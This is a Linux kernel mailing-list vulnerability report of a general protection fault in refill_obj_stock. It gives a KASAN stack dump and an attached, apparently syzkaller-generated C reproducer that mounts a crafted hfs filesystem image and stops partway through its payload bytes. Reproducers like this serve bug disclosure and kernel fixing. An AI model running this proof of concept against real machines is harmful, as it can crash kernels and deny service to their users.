From: "Ubisectech Sirius" <bugreport@ubisectech.com>
To: "linux-trace-kernel" <linux-trace-kernel@vger.kernel.org>,
"linux-kernel" <linux-kernel@vger.kernel.org>
Cc: "hannes" <hannes@cmpxchg.org>, "mhocko" <mhocko@kernel.org>,
"shakeel.butt" <shakeel.butt@linux.dev>,
"roman.gushchin" <roman.gushchin@linux.dev>
Subject: general protection fault in refill_obj_stock
Date: Mon, 01 Apr 2024 15:04:46 +0800 [thread overview]
Message-ID: <91e1389e-0723-42e7-9ea4-396ec6b54e49.bugreport@ubisectech.com> (raw)
[-- Attachment #1: Type: text/plain, Size: 5726 bytes --]
Hello.
We are Ubisectech Sirius Team, the vulnerability lab of China ValiantSec. Recently, our team has discovered a issue in Linux kernel 6.7. Attached to the email were a PoC file of the issue.
Stack dump:
general protection fault, probably for non-canonical address 0xdffffc0000001cc6: 0000 [#1] PREEMPT SMP KASAN NOPTI
KASAN: probably user-memory-access in range [0x000000000000e630-0x000000000000e637]
CPU: 0 PID: 8041 Comm: systemd-udevd Not tainted 6.7.0 #1
Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.15.0-1 04/01/2014
RIP: 0010:__ref_is_percpu include/linux/percpu-refcount.h:174 [inline]
RIP: 0010:percpu_ref_get_many include/linux/percpu-refcount.h:204 [inline]
RIP: 0010:percpu_ref_get include/linux/percpu-refcount.h:222 [inline]
RIP: 0010:obj_cgroup_get include/linux/memcontrol.h:810 [inline]
RIP: 0010:refill_obj_stock+0x135/0x500 mm/memcontrol.c:3535
Code: c7 c7 60 9f 3a 8d e8 fa ca 81 ff e8 d5 4e b2 08 5a 85 c0 0f 85 52 02 00 00 48 b8 00 00 00 00 00 fc ff df 48 89 ea 48 c1 ea 03 <80> 3c 02 00 0f 85 86 03 00 00 48 8b 45 00 a8 03 0f 85 76 02 00 00
RSP: 0018:ffffc900088bf898 EFLAGS: 00010006
RAX: dffffc0000000000 RBX: 00000000000380a0 RCX: 1ffff92001117edd
RDX: 0000000000001cc6 RSI: 0000000000000001 RDI: ffffffff8cddfa60
RBP: 000000000000e633 R08: 0000000000000000 R09: fffffbfff27147e0
R10: ffffffff938a3f07 R11: 0000000000000000 R12: 0000000000000148
R13: 0000000000000200 R14: ffff88802c6380a0 R15: ffff88802c6380e0
FS: 00007f774934e8c0(0000) GS:ffff88802c600000(0000) knlGS:0000000000000000
CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033
CR2: 00005555566127e8 CR3: 0000000048fe8000 CR4: 0000000000750ef0
DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000
DR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400
PKRU: 55555554
Call Trace:
<TASK>
memcg_slab_free_hook+0x157/0x2c0
slab_free_hook mm/slub.c:2075 [inline]
slab_free mm/slub.c:4280 [inline]
kmem_cache_free+0xe1/0x350 mm/slub.c:4344
kfree_skbmem+0xef/0x1b0 net/core/skbuff.c:1159
__kfree_skb net/core/skbuff.c:1217 [inline]
consume_skb net/core/skbuff.c:1432 [inline]
consume_skb+0xdf/0x170 net/core/skbuff.c:1426
netlink_recvmsg+0x5cb/0xf10 net/netlink/af_netlink.c:1983
sock_recvmsg_nosec net/socket.c:1046 [inline]
sock_recvmsg+0x1de/0x240 net/socket.c:1068
____sys_recvmsg+0x216/0x670 net/socket.c:2803
___sys_recvmsg+0xff/0x190 net/socket.c:2845
__sys_recvmsg+0xfb/0x1d0 net/socket.c:2875
current_top_of_stack arch/x86/include/asm/processor.h:532 [inline]
on_thread_stack arch/x86/include/asm/processor.h:537 [inline]
arch_enter_from_user_mode arch/x86/include/asm/entry-common.h:41 [inline]
enter_from_user_mode include/linux/entry-common.h:108 [inline]
syscall_enter_from_user_mode include/linux/entry-common.h:194 [inline]
do_syscall_64+0x43/0x120 arch/x86/entry/common.c:79
entry_SYSCALL_64_after_hwframe+0x6f/0x77
RIP: 0033:0x7f7749601d73
Code: 8b 15 59 a2 00 00 f7 d8 64 89 02 b8 ff ff ff ff eb b7 0f 1f 44 00 00 64 8b 04 25 18 00 00 00 85 c0 75 14 b8 2f 00 00 00 0f 05 <48> 3d 00 f0 ff ff 77 55 c3 0f 1f 40 00 48 83 ec 28 89 54 24 1c 48
RSP: 002b:00007fff81586858 EFLAGS: 00000246 ORIG_RAX: 000000000000002f
RAX: ffffffffffffffda RBX: 00007fff81588a20 RCX: 00007f7749601d73
RDX: 0000000000000000 RSI: 00007fff815868f0 RDI: 000000000000000f
RBP: 00007fff815869d0 R08: 00000000000046d4 R09: 00007fff815e5080
R10: 0000000000000007 R11: 0000000000000246 R12: 0000000000000000
R13: 000055824edb2ef0 R14: 0000000000000100 R15: 0000000000000000
</TASK>
Modules linked in:
---[ end trace 0000000000000000 ]---
RIP: 0010:__ref_is_percpu include/linux/percpu-refcount.h:174 [inline]
RIP: 0010:percpu_ref_get_many include/linux/percpu-refcount.h:204 [inline]
RIP: 0010:percpu_ref_get include/linux/percpu-refcount.h:222 [inline]
RIP: 0010:obj_cgroup_get include/linux/memcontrol.h:810 [inline]
RIP: 0010:refill_obj_stock+0x135/0x500 mm/memcontrol.c:3535
Code: c7 c7 60 9f 3a 8d e8 fa ca 81 ff e8 d5 4e b2 08 5a 85 c0 0f 85 52 02 00 00 48 b8 00 00 00 00 00 fc ff df 48 89 ea 48 c1 ea 03 <80> 3c 02 00 0f 85 86 03 00 00 48 8b 45 00 a8 03 0f 85 76 02 00 00
RSP: 0018:ffffc900088bf898 EFLAGS: 00010006
RAX: dffffc0000000000 RBX: 00000000000380a0 RCX: 1ffff92001117edd
RDX: 0000000000001cc6 RSI: 0000000000000001 RDI: ffffffff8cddfa60
RBP: 000000000000e633 R08: 0000000000000000 R09: fffffbfff27147e0
R10: ffffffff938a3f07 R11: 0000000000000000 R12: 0000000000000148
R13: 0000000000000200 R14: ffff88802c6380a0 R15: ffff88802c6380e0
FS: 00007f774934e8c0(0000) GS:ffff88802c600000(0000) knlGS:0000000000000000
CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033
CR2: 00005555566127e8 CR3: 0000000048fe8000 CR4: 0000000000750ef0
DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000
DR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400
PKRU: 55555554
----------------
Code disassembly (best guess):
0: c7 c7 60 9f 3a 8d mov $0x8d3a9f60,%edi
6: e8 fa ca 81 ff call 0xff81cb05
b: e8 d5 4e b2 08 call 0x8b24ee5
10: 5a pop %rdx
11: 85 c0 test %eax,%eax
13: 0f 85 52 02 00 00 jne 0x26b
19: 48 b8 00 00 00 00 00 movabs $0xdffffc0000000000,%rax
20: fc ff df
23: 48 89 ea mov %rbp,%rdx
26: 48 c1 ea 03 shr $0x3,%rdx
* 2a: 80 3c 02 00 cmpb $0x0,(%rdx,%rax,1) <-- trapping instruction
2e: 0f 85 86 03 00 00 jne 0x3ba
34: 48 8b 45 00 mov 0x0(%rbp),%rax
38: a8 03 test $0x3,%al
3a: 0f 85 76 02 00 00 jne 0x2b6
Thank you for taking the time to read this email and we look forward to working with you further.
[-- Attachment #2: poc.c --]
[-- Type: application/octet-stream, Size: 27040 bytes --]
// autogenerated by syzkaller (https://github.com/google/syzkaller)
#define _GNU_SOURCE
#include <dirent.h>
#include <endian.h>
#include <errno.h>
#include <fcntl.h>
#include <setjmp.h>
#include <signal.h>
#include <stdarg.h>
#include <stdbool.h>
#include <stddef.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <sys/mount.h>
#include <sys/prctl.h>
#include <sys/stat.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <time.h>
#include <unistd.h>
#include <linux/loop.h>
#ifndef __NR_memfd_create
#define __NR_memfd_create 319
#endif
static unsigned long long procid;
static void sleep_ms(uint64_t ms)
{
usleep(ms * 1000);
}
static uint64_t current_time_ms(void)
{
struct timespec ts;
if (clock_gettime(CLOCK_MONOTONIC, &ts))
exit(1);
return (uint64_t)ts.tv_sec * 1000 + (uint64_t)ts.tv_nsec / 1000000;
}
static void use_temporary_dir(void)
{
char tmpdir_template[] = "./syzkaller.XXXXXX";
char* tmpdir = mkdtemp(tmpdir_template);
if (!tmpdir)
exit(1);
if (chmod(tmpdir, 0777))
exit(1);
if (chdir(tmpdir))
exit(1);
}
static bool write_file(const char* file, const char* what, ...)
{
char buf[1024];
va_list args;
va_start(args, what);
vsnprintf(buf, sizeof(buf), what, args);
va_end(args);
buf[sizeof(buf) - 1] = 0;
int len = strlen(buf);
int fd = open(file, O_WRONLY | O_CLOEXEC);
if (fd == -1)
return false;
if (write(fd, buf, len) != len) {
int err = errno;
close(fd);
errno = err;
return false;
}
close(fd);
return true;
}
//% This code is derived from puff.{c,h}, found in the zlib development. The
//% original files come with the following copyright notice:
//% Copyright (C) 2002-2013 Mark Adler, all rights reserved
//% version 2.3, 21 Jan 2013
//% This software is provided 'as-is', without any express or implied
//% warranty. In no event will the author be held liable for any damages
//% arising from the use of this software.
//% Permission is granted to anyone to use this software for any purpose,
//% including commercial applications, and to alter it and redistribute it
//% freely, subject to the following restrictions:
//% 1. The origin of this software must not be misrepresented; you must not
//% claim that you wrote the original software. If you use this software
//% in a product, an acknowledgment in the product documentation would be
//% appreciated but is not required.
//% 2. Altered source versions must be plainly marked as such, and must not be
//% misrepresented as being the original software.
//% 3. This notice may not be removed or altered from any source distribution.
//% Mark Adler madler@alumni.caltech.edu
//% BEGIN CODE DERIVED FROM puff.{c,h}
#define MAXBITS 15
#define MAXLCODES 286
#define MAXDCODES 30
#define MAXCODES (MAXLCODES + MAXDCODES)
#define FIXLCODES 288
struct puff_state {
unsigned char* out;
unsigned long outlen;
unsigned long outcnt;
const unsigned char* in;
unsigned long inlen;
unsigned long incnt;
int bitbuf;
int bitcnt;
jmp_buf env;
};
static int puff_bits(struct puff_state* s, int need)
{
long val = s->bitbuf;
while (s->bitcnt < need) {
if (s->incnt == s->inlen)
longjmp(s->env, 1);
val |= (long)(s->in[s->incnt++]) << s->bitcnt;
s->bitcnt += 8;
}
s->bitbuf = (int)(val >> need);
s->bitcnt -= need;
return (int)(val & ((1L << need) - 1));
}
static int puff_stored(struct puff_state* s)
{
s->bitbuf = 0;
s->bitcnt = 0;
if (s->incnt + 4 > s->inlen)
return 2;
unsigned len = s->in[s->incnt++];
len |= s->in[s->incnt++] << 8;
if (s->in[s->incnt++] != (~len & 0xff) ||
s->in[s->incnt++] != ((~len >> 8) & 0xff))
return -2;
if (s->incnt + len > s->inlen)
return 2;
if (s->outcnt + len > s->outlen)
return 1;
for (; len--; s->outcnt++, s->incnt++) {
if (s->in[s->incnt])
s->out[s->outcnt] = s->in[s->incnt];
}
return 0;
}
struct puff_huffman {
short* count;
short* symbol;
};
static int puff_decode(struct puff_state* s, const struct puff_huffman* h)
{
int first = 0;
int index = 0;
int bitbuf = s->bitbuf;
int left = s->bitcnt;
int code = first = index = 0;
int len = 1;
short* next = h->count + 1;
while (1) {
while (left--) {
code |= bitbuf & 1;
bitbuf >>= 1;
int count = *next++;
if (code - count < first) {
s->bitbuf = bitbuf;
s->bitcnt = (s->bitcnt - len) & 7;
return h->symbol[index + (code - first)];
}
index += count;
first += count;
first <<= 1;
code <<= 1;
len++;
}
left = (MAXBITS + 1) - len;
if (left == 0)
break;
if (s->incnt == s->inlen)
longjmp(s->env, 1);
bitbuf = s->in[s->incnt++];
if (left > 8)
left = 8;
}
return -10;
}
static int puff_construct(struct puff_huffman* h, const short* length, int n)
{
int len;
for (len = 0; len <= MAXBITS; len++)
h->count[len] = 0;
int symbol;
for (symbol = 0; symbol < n; symbol++)
(h->count[length[symbol]])++;
if (h->count[0] == n)
return 0;
int left = 1;
for (len = 1; len <= MAXBITS; len++) {
left <<= 1;
left -= h->count[len];
if (left < 0)
return left;
}
short offs[MAXBITS + 1];
offs[1] = 0;
for (len = 1; len < MAXBITS; len++)
offs[len + 1] = offs[len] + h->count[len];
for (symbol = 0; symbol < n; symbol++)
if (length[symbol] != 0)
h->symbol[offs[length[symbol]]++] = symbol;
return left;
}
static int puff_codes(struct puff_state* s, const struct puff_huffman* lencode,
const struct puff_huffman* distcode)
{
static const short lens[29] = {3, 4, 5, 6, 7, 8, 9, 10, 11, 13,
15, 17, 19, 23, 27, 31, 35, 43, 51, 59,
67, 83, 99, 115, 131, 163, 195, 227, 258};
static const short lext[29] = {0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 2, 2, 2,
2, 3, 3, 3, 3, 4, 4, 4, 4, 5, 5, 5, 5, 0};
static const short dists[30] = {
1, 2, 3, 4, 5, 7, 9, 13, 17, 25,
33, 49, 65, 97, 129, 193, 257, 385, 513, 769,
1025, 1537, 2049, 3073, 4097, 6145, 8193, 12289, 16385, 24577};
static const short dext[30] = {0, 0, 0, 0, 1, 1, 2, 2, 3, 3,
4, 4, 5, 5, 6, 6, 7, 7, 8, 8,
9, 9, 10, 10, 11, 11, 12, 12, 13, 13};
int symbol;
do {
symbol = puff_decode(s, lencode);
if (symbol < 0)
return symbol;
if (symbol < 256) {
if (s->outcnt == s->outlen)
return 1;
if (symbol)
s->out[s->outcnt] = symbol;
s->outcnt++;
} else if (symbol > 256) {
symbol -= 257;
if (symbol >= 29)
return -10;
int len = lens[symbol] + puff_bits(s, lext[symbol]);
symbol = puff_decode(s, distcode);
if (symbol < 0)
return symbol;
unsigned dist = dists[symbol] + puff_bits(s, dext[symbol]);
if (dist > s->outcnt)
return -11;
if (s->outcnt + len > s->outlen)
return 1;
while (len--) {
if (dist <= s->outcnt && s->out[s->outcnt - dist])
s->out[s->outcnt] = s->out[s->outcnt - dist];
s->outcnt++;
}
}
} while (symbol != 256);
return 0;
}
static int puff_fixed(struct puff_state* s)
{
static int virgin = 1;
static short lencnt[MAXBITS + 1], lensym[FIXLCODES];
static short distcnt[MAXBITS + 1], distsym[MAXDCODES];
static struct puff_huffman lencode, distcode;
if (virgin) {
lencode.count = lencnt;
lencode.symbol = lensym;
distcode.count = distcnt;
distcode.symbol = distsym;
short lengths[FIXLCODES];
int symbol;
for (symbol = 0; symbol < 144; symbol++)
lengths[symbol] = 8;
for (; symbol < 256; symbol++)
lengths[symbol] = 9;
for (; symbol < 280; symbol++)
lengths[symbol] = 7;
for (; symbol < FIXLCODES; symbol++)
lengths[symbol] = 8;
puff_construct(&lencode, lengths, FIXLCODES);
for (symbol = 0; symbol < MAXDCODES; symbol++)
lengths[symbol] = 5;
puff_construct(&distcode, lengths, MAXDCODES);
virgin = 0;
}
return puff_codes(s, &lencode, &distcode);
}
static int puff_dynamic(struct puff_state* s)
{
static const short order[19] = {16, 17, 18, 0, 8, 7, 9, 6, 10, 5,
11, 4, 12, 3, 13, 2, 14, 1, 15};
int nlen = puff_bits(s, 5) + 257;
int ndist = puff_bits(s, 5) + 1;
int ncode = puff_bits(s, 4) + 4;
if (nlen > MAXLCODES || ndist > MAXDCODES)
return -3;
short lengths[MAXCODES];
int index;
for (index = 0; index < ncode; index++)
lengths[order[index]] = puff_bits(s, 3);
for (; index < 19; index++)
lengths[order[index]] = 0;
short lencnt[MAXBITS + 1], lensym[MAXLCODES];
struct puff_huffman lencode = {lencnt, lensym};
int err = puff_construct(&lencode, lengths, 19);
if (err != 0)
return -4;
index = 0;
while (index < nlen + ndist) {
int symbol;
int len;
symbol = puff_decode(s, &lencode);
if (symbol < 0)
return symbol;
if (symbol < 16)
lengths[index++] = symbol;
else {
len = 0;
if (symbol == 16) {
if (index == 0)
return -5;
len = lengths[index - 1];
symbol = 3 + puff_bits(s, 2);
} else if (symbol == 17)
symbol = 3 + puff_bits(s, 3);
else
symbol = 11 + puff_bits(s, 7);
if (index + symbol > nlen + ndist)
return -6;
while (symbol--)
lengths[index++] = len;
}
}
if (lengths[256] == 0)
return -9;
err = puff_construct(&lencode, lengths, nlen);
if (err && (err < 0 || nlen != lencode.count[0] + lencode.count[1]))
return -7;
short distcnt[MAXBITS + 1], distsym[MAXDCODES];
struct puff_huffman distcode = {distcnt, distsym};
err = puff_construct(&distcode, lengths + nlen, ndist);
if (err && (err < 0 || ndist != distcode.count[0] + distcode.count[1]))
return -8;
return puff_codes(s, &lencode, &distcode);
}
static int puff(unsigned char* dest, unsigned long* destlen,
const unsigned char* source, unsigned long sourcelen)
{
struct puff_state s = {
.out = dest,
.outlen = *destlen,
.outcnt = 0,
.in = source,
.inlen = sourcelen,
.incnt = 0,
.bitbuf = 0,
.bitcnt = 0,
};
int err;
if (setjmp(s.env) != 0)
err = 2;
else {
int last;
do {
last = puff_bits(&s, 1);
int type = puff_bits(&s, 2);
err = type == 0 ? puff_stored(&s)
: (type == 1 ? puff_fixed(&s)
: (type == 2 ? puff_dynamic(&s) : -1));
if (err != 0)
break;
} while (!last);
}
*destlen = s.outcnt;
return err;
}
//% END CODE DERIVED FROM puff.{c,h}
#define ZLIB_HEADER_WIDTH 2
static int puff_zlib_to_file(const unsigned char* source,
unsigned long sourcelen, int dest_fd)
{
if (sourcelen < ZLIB_HEADER_WIDTH)
return 0;
source += ZLIB_HEADER_WIDTH;
sourcelen -= ZLIB_HEADER_WIDTH;
const unsigned long max_destlen = 132 << 20;
void* ret = mmap(0, max_destlen, PROT_WRITE | PROT_READ,
MAP_PRIVATE | MAP_ANON, -1, 0);
if (ret == MAP_FAILED)
return -1;
unsigned char* dest = (unsigned char*)ret;
unsigned long destlen = max_destlen;
int err = puff(dest, &destlen, source, sourcelen);
if (err) {
munmap(dest, max_destlen);
errno = -err;
return -1;
}
if (write(dest_fd, dest, destlen) != (ssize_t)destlen) {
munmap(dest, max_destlen);
return -1;
}
return munmap(dest, max_destlen);
}
static int setup_loop_device(unsigned char* data, unsigned long size,
const char* loopname, int* loopfd_p)
{
int err = 0, loopfd = -1;
int memfd = syscall(__NR_memfd_create, "syzkaller", 0);
if (memfd == -1) {
err = errno;
goto error;
}
if (puff_zlib_to_file(data, size, memfd)) {
err = errno;
goto error_close_memfd;
}
loopfd = open(loopname, O_RDWR);
if (loopfd == -1) {
err = errno;
goto error_close_memfd;
}
if (ioctl(loopfd, LOOP_SET_FD, memfd)) {
if (errno != EBUSY) {
err = errno;
goto error_close_loop;
}
ioctl(loopfd, LOOP_CLR_FD, 0);
usleep(1000);
if (ioctl(loopfd, LOOP_SET_FD, memfd)) {
err = errno;
goto error_close_loop;
}
}
close(memfd);
*loopfd_p = loopfd;
return 0;
error_close_loop:
close(loopfd);
error_close_memfd:
close(memfd);
error:
errno = err;
return -1;
}
static void reset_loop_device(const char* loopname)
{
int loopfd = open(loopname, O_RDWR);
if (loopfd == -1) {
return;
}
if (ioctl(loopfd, LOOP_CLR_FD, 0)) {
}
close(loopfd);
}
static long syz_mount_image(volatile long fsarg, volatile long dir,
volatile long flags, volatile long optsarg,
volatile long change_dir,
volatile unsigned long size, volatile long image)
{
unsigned char* data = (unsigned char*)image;
int res = -1, err = 0, need_loop_device = !!size;
char* mount_opts = (char*)optsarg;
char* target = (char*)dir;
char* fs = (char*)fsarg;
char* source = NULL;
char loopname[64];
if (need_loop_device) {
int loopfd;
memset(loopname, 0, sizeof(loopname));
snprintf(loopname, sizeof(loopname), "/dev/loop%llu", procid);
if (setup_loop_device(data, size, loopname, &loopfd) == -1)
return -1;
close(loopfd);
source = loopname;
}
mkdir(target, 0777);
char opts[256];
memset(opts, 0, sizeof(opts));
if (strlen(mount_opts) > (sizeof(opts) - 32)) {
}
strncpy(opts, mount_opts, sizeof(opts) - 32);
if (strcmp(fs, "iso9660") == 0) {
flags |= MS_RDONLY;
} else if (strncmp(fs, "ext", 3) == 0) {
bool has_remount_ro = false;
char* remount_ro_start = strstr(opts, "errors=remount-ro");
if (remount_ro_start != NULL) {
char after = *(remount_ro_start + strlen("errors=remount-ro"));
char before = remount_ro_start == opts ? '\0' : *(remount_ro_start - 1);
has_remount_ro = ((before == '\0' || before == ',') &&
(after == '\0' || after == ','));
}
if (strstr(opts, "errors=panic") || !has_remount_ro)
strcat(opts, ",errors=continue");
} else if (strcmp(fs, "xfs") == 0) {
strcat(opts, ",nouuid");
}
res = mount(source, target, fs, flags, opts);
if (res == -1) {
err = errno;
goto error_clear_loop;
}
res = open(target, O_RDONLY | O_DIRECTORY);
if (res == -1) {
err = errno;
goto error_clear_loop;
}
if (change_dir) {
res = chdir(target);
if (res == -1) {
err = errno;
}
}
error_clear_loop:
if (need_loop_device)
reset_loop_device(loopname);
errno = err;
return res;
}
#define FS_IOC_SETFLAGS _IOW('f', 2, long)
static void remove_dir(const char* dir)
{
int iter = 0;
DIR* dp = 0;
retry:
while (umount2(dir, MNT_DETACH | UMOUNT_NOFOLLOW) == 0) {
}
dp = opendir(dir);
if (dp == NULL) {
if (errno == EMFILE) {
exit(1);
}
exit(1);
}
struct dirent* ep = 0;
while ((ep = readdir(dp))) {
if (strcmp(ep->d_name, ".") == 0 || strcmp(ep->d_name, "..") == 0)
continue;
char filename[FILENAME_MAX];
snprintf(filename, sizeof(filename), "%s/%s", dir, ep->d_name);
while (umount2(filename, MNT_DETACH | UMOUNT_NOFOLLOW) == 0) {
}
struct stat st;
if (lstat(filename, &st))
exit(1);
if (S_ISDIR(st.st_mode)) {
remove_dir(filename);
continue;
}
int i;
for (i = 0;; i++) {
if (unlink(filename) == 0)
break;
if (errno == EPERM) {
int fd = open(filename, O_RDONLY);
if (fd != -1) {
long flags = 0;
if (ioctl(fd, FS_IOC_SETFLAGS, &flags) == 0) {
}
close(fd);
continue;
}
}
if (errno == EROFS) {
break;
}
if (errno != EBUSY || i > 100)
exit(1);
if (umount2(filename, MNT_DETACH | UMOUNT_NOFOLLOW))
exit(1);
}
}
closedir(dp);
for (int i = 0;; i++) {
if (rmdir(dir) == 0)
break;
if (i < 100) {
if (errno == EPERM) {
int fd = open(dir, O_RDONLY);
if (fd != -1) {
long flags = 0;
if (ioctl(fd, FS_IOC_SETFLAGS, &flags) == 0) {
}
close(fd);
continue;
}
}
if (errno == EROFS) {
break;
}
if (errno == EBUSY) {
if (umount2(dir, MNT_DETACH | UMOUNT_NOFOLLOW))
exit(1);
continue;
}
if (errno == ENOTEMPTY) {
if (iter < 100) {
iter++;
goto retry;
}
}
}
exit(1);
}
}
static void kill_and_wait(int pid, int* status)
{
kill(-pid, SIGKILL);
kill(pid, SIGKILL);
for (int i = 0; i < 100; i++) {
if (waitpid(-1, status, WNOHANG | __WALL) == pid)
return;
usleep(1000);
}
DIR* dir = opendir("/sys/fs/fuse/connections");
if (dir) {
for (;;) {
struct dirent* ent = readdir(dir);
if (!ent)
break;
if (strcmp(ent->d_name, ".") == 0 || strcmp(ent->d_name, "..") == 0)
continue;
char abort[300];
snprintf(abort, sizeof(abort), "/sys/fs/fuse/connections/%s/abort",
ent->d_name);
int fd = open(abort, O_WRONLY);
if (fd == -1) {
continue;
}
if (write(fd, abort, 1) < 0) {
}
close(fd);
}
closedir(dir);
} else {
}
while (waitpid(-1, status, __WALL) != pid) {
}
}
static void reset_loop()
{
char buf[64];
snprintf(buf, sizeof(buf), "/dev/loop%llu", procid);
int loopfd = open(buf, O_RDWR);
if (loopfd != -1) {
ioctl(loopfd, LOOP_CLR_FD, 0);
close(loopfd);
}
}
static void setup_test()
{
prctl(PR_SET_PDEATHSIG, SIGKILL, 0, 0, 0);
setpgrp();
write_file("/proc/self/oom_score_adj", "1000");
if (symlink("/dev/binderfs", "./binderfs")) {
}
}
static void execute_one(void);
#define WAIT_FLAGS __WALL
static void loop(void)
{
int iter = 0;
for (;; iter++) {
char cwdbuf[32];
sprintf(cwdbuf, "./%d", iter);
if (mkdir(cwdbuf, 0777))
exit(1);
reset_loop();
int pid = fork();
if (pid < 0)
exit(1);
if (pid == 0) {
if (chdir(cwdbuf))
exit(1);
setup_test();
execute_one();
exit(0);
}
int status = 0;
uint64_t start = current_time_ms();
for (;;) {
if (waitpid(-1, &status, WNOHANG | WAIT_FLAGS) == pid)
break;
sleep_ms(1);
if (current_time_ms() - start < 5000)
continue;
kill_and_wait(pid, &status);
break;
}
remove_dir(cwdbuf);
}
}
void execute_one(void)
{
memcpy((void*)0x200000c0, "hfs\000", 4);
memcpy((void*)0x20000100, "./bus\000", 6);
*(uint64_t*)0x20000640 = 0;
sprintf((char*)0x20000648, "0x%016llx", (long long)-1);
*(uint32_t*)0x2000065a = -1;
memcpy(
(void*)0x2000065e,
"\xa2\x4e\xd3\x17\xcb\x4e\x0a\xd8\x44\x54\x2b\x7e\x77\xc8\xd2\x6d\x39\x38"
"\x0e\x1e\x59\xe6\x93\x54\xae\x34\xcb\x24\xb8\xd4\xcb\x6e\xf4\xbb\xa4\x1c"
"\xb1\x39\xa6\x72\x93\x4c\x16\x4b\x8a\x72\xf1\xc0\xc5\x59\x2a\x76\xd7\x8c"
"\x96\x55\xaa\xa2\x56\xcd\xd0\xf4\x9e\x4d\x7d\x9b\x0c\x7d\xc9\x8f\x15\x6f"
"\x96\xf0\xfb\x7f\x53\x89\xec\x78\x58\x01\xbc\x23\x20\xc6\xa6\x2c\x24\x82"
"\x78\xe1\xaa\x06\x5a\x90\x5c\x2c\x19\x67\x97\xdf\x61\xd2\x50\x2c\x2d\x34"
"\xa7\xbb\x1c\x00\x3b\xe2\x93\x83\xaa\x04\x3a\xd2\xc2\x7c\x38\x5a\x78\xfe"
"\x0b\x62\x79\x2f\x72\xa4\xc1\x3e\x7b\xbd\x94\x05\xb2\xb9\xf0\x19\xa2\x87"
"\x1a\x45\x43\x92\x39\xfa\x99\x93\x6a\x8c\x09\x73\x52\xd9\x6d\xe2\x88\xe1"
"\x56\xae\x16\xba\xde\x83\xbd\x9d\xa8\xd2\x4c\x2f\x4a\xcb\xbc\x60\x11\xf4"
"\xde\x81\x96\x29\xd7\x27\x49\x69\xb4\xae\x2e\xf8\xc6\x2f\x47\x51\xbe\x89"
"\x4c\x83\x65\xc2\x36\xd7\x84\x9e\x00\x10\xcc\xcb\x86\xfe\x81\xbb\x12\x1b"
"\xb4\x85\x81\xe9\x95\x6b\x0d\x21\xe5\x00\x5c\xc2\x0f\x43\x1a\xd3\x42\x4b"
"\x1d\xfa\xfb\xdd\x25\x93\x39\xd4\x75\xc4\x21\xde\xa7\xb7\x48\xaf\xf3\x95"
"\xd1\x71\xac\x01\x01\x93\x76\xc0\xab\x53\x3a\xed\xa5\x89\x51\x0c\xe6\x46"
"\x46\x94\x14\x69\x8f\xcb\x6f\xa0\x38\xb3\xf6\xc7\x25\x00\xdd\x7d\x48\x63"
"\x77\xcc\xe2\x22\x17\x66\x5b\x7e\x06\x5a\xff\x16\xaf\x36\x7d\x2e\xbf\x80"
"\xf7\x2c\x7a\x94\xcb\xfb\x29\xc1\x33\xe5\xa2\xb5\xac\xca\xed\x04\xde\xce"
"\xd8\xce\x5e\x78\x98\x07\xb8\x57\x03\x4d\xe9\xb1\xbf\x29\xc3\x06\x8f\x1e"
"\x09\x89\x83\xa7\x81\x2d",
348);
sprintf((char*)0x200007ba, "%023llo", (long long)-1);
sprintf((char*)0x200007d1, "0x%016llx", (long long)-1);
sprintf((char*)0x200007e3, "%023llo", (long long)-1);
sprintf((char*)0x200007fa, "%023llo", (long long)-1);
memcpy(
(void*)0x20000811,
"\xb5\x48\x6c\xd9\x08\xd9\x47\xa6\xa9\xe5\x39\xac\xf6\xc5\x3a\x49\xe4\xd1"
"\xe1\x34\x87\xd1\x08\x61\x13\x33\x40\xd3\xf2\xb2\x8f\x8d\x7b\x7a\x3e\x55"
"\xf1\xd5\x78\x0f\x06\xd2\xa1\xa1\x44\xbf\x68\xbf\xa1\x56\xc3\xad\xac\x7a"
"\x2f\x6a\x8e\xb3\x77\x00\xe6\x0c\xdd\xca\x0b\xc3\x6e\x08\x97\x1c\x11\x9c"
"\xe0\x8d\x8b\x78\xaa\x29\x58\xdf\x16\xec\x04\x9b\xb7\x19\xfb\x02\xb0\xcf"
"\xef\x09\x98\x24\x14\xaa\xe0\xae\x91\xab\xcd\x80\x87\x0e\x51\x8f\xff\xc0"
"\xf3\x53\xc6\x9b\x67\x67\x1e\x2c\x7b\x2a\xf2\x31\x4c\x32\x21\x13\xa8\x43"
"\x28\x94\xc8\xba\xce\x66\x66\x07\x8a\xe1\x66\xf5\xfd\xee\xda\x09\x06\x22"
"\x83\x0a\xa2\xf6\x2e\xfe\x40\x5f\xdc\xe2\x53\x13\x00\x9e\x15\x1a\x25\x17"
"\xa1\xd5\x37\x68\x96\x97\x53\xfc\x3e\x23\x6c\x49\x31\x49\xcf\x0c\x92\x0b"
"\x71\xec\xbd\xb3\x40\x4e\xb5\xd4\xbe\xc7\x45\x2f\x15\x5a\x23\xdf\xbc\x20"
"\x8c\xbd\x14\x2e\xef\x1f\xb5\x42\x45\x3b\xe7\xe6\x7f\x17\xa0\xcc\xb2\x18"
"\xca\x68\xe8\x98\xed\xed\x7a\x4d\xdd\x78\xf0\xba\x73\xc3\xc9\xec\x11\x39"
"\x93\x3a\x28\x7f\x01\x27\x8d\x2a\x76\x48\xd3\x46\x83\x5b\x6f\xb4\xec\xd4"
"\x0c\xf7\x80\x8a\xfc\x0d\xc7\x61\xbb\x43\x19\x03\x71\x0b\x2d\xc9\x70\x7a"
"\xde\xc9\x12\x1e\x4e\xaf\x9d\x8a\x6f\x41\x40\x45\x09\xb1\x10\xe9\x4a\x6d"
"\xe9\x7d\xb5\xc7\x26\xcf\x62\xb3\x79\xc8\xb2\xa6\x2c\x81\x58\xca\xc2\x16"
"\xbe\xc8\xe1\x9b\x47\xb5\x96\x67\xbd\x90\x4f\xdc\x95\x4a\xdb\xa8\x5c\x64"
